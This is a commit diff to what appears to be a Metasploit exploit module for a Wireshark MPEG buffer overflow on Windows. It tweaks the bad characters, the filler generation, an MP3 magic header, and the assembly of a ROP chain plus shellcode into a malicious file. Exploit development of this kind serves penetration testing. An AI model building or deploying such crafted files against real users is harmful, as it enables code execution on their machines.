Add rand_text_alpha function

Author: jholgui

modules/exploits/windows/misc/wireshark_mpeg_overflow.rb

@@ -37,7 +37,7 @@ def initialize(info = {})
         },
       'Payload'        =>
         {
-          'BadChars'    => "\xff\x00",
+          'BadChars'    => "\xff",
           'Space'       => 600,
           'DisableNops' => 'True',
           'PrependEncoder' => "\x81\xec\xc8\x00\x00\x00" # sub esp,200 
@@ -63,10 +63,6 @@ def initialize(info = {})
       ], self.class)
   end
 
-  def junk
-    return rand_text(4).unpack("L")[0].to_i
-  end
-
   def create_rop_chain()
 
     # rop chain generated with mona.py - www.corelan.be
@@ -98,8 +94,8 @@ def create_rop_chain()
   def exploit
 
     print_status("Creating '#{datastore['FILENAME']}' file ...")
-    magic_header = "\xff\xfb"      							# mpeg magic_number
-    packet = pattern_create(892)
+    magic_header = "\xff\xfb\x41"                # mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure
+    packet = rand_text_alpha(891)
     ropchain = create_rop_chain
     packet << ropchain
     packet << payload.encoded      							# Shellcode